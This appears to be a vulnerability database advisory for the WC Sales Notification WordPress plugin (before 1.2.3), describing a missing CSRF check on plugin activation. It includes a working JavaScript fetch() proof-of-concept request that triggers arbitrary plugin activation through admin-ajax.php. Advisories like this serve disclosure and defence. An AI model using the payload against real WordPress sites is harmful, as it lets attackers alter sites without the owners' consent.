Lucene search

K
wpexploitWpvulndbWPEX-ID:356C89A1-81B6-4600-9291-1A74788AF7F9
HistoryFeb 28, 2023 - 12:00 a.m.

WC Sales Notification < 1.2.3 - Arbitrary Plugin Activation via CSRF

2023-02-2800:00:00
wpvulndb
50
security notification
csrf exploit
woocommerce plugin

0.001 Low

EPSS

Percentile

29.4%

The plugin does not have CSRF check when activating plugins, which could allow attackers to make logged in admins activate arbitrary plugins present on the blog via a CSRF attack

fetch('https://example.com/wp-admin/admin-ajax.php', {
        method: 'POST',
        headers: new Headers({
            'Content-Type': 'application/x-www-form-urlencoded',
        }),
        body: 'action=wcsalesnotification_ajax_plugin_activation&location=woocommerce/woocommerce.php',
        redirect: 'follow'
    }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));

0.001 Low

EPSS

Percentile

29.4%

Related for WPEX-ID:356C89A1-81B6-4600-9291-1A74788AF7F9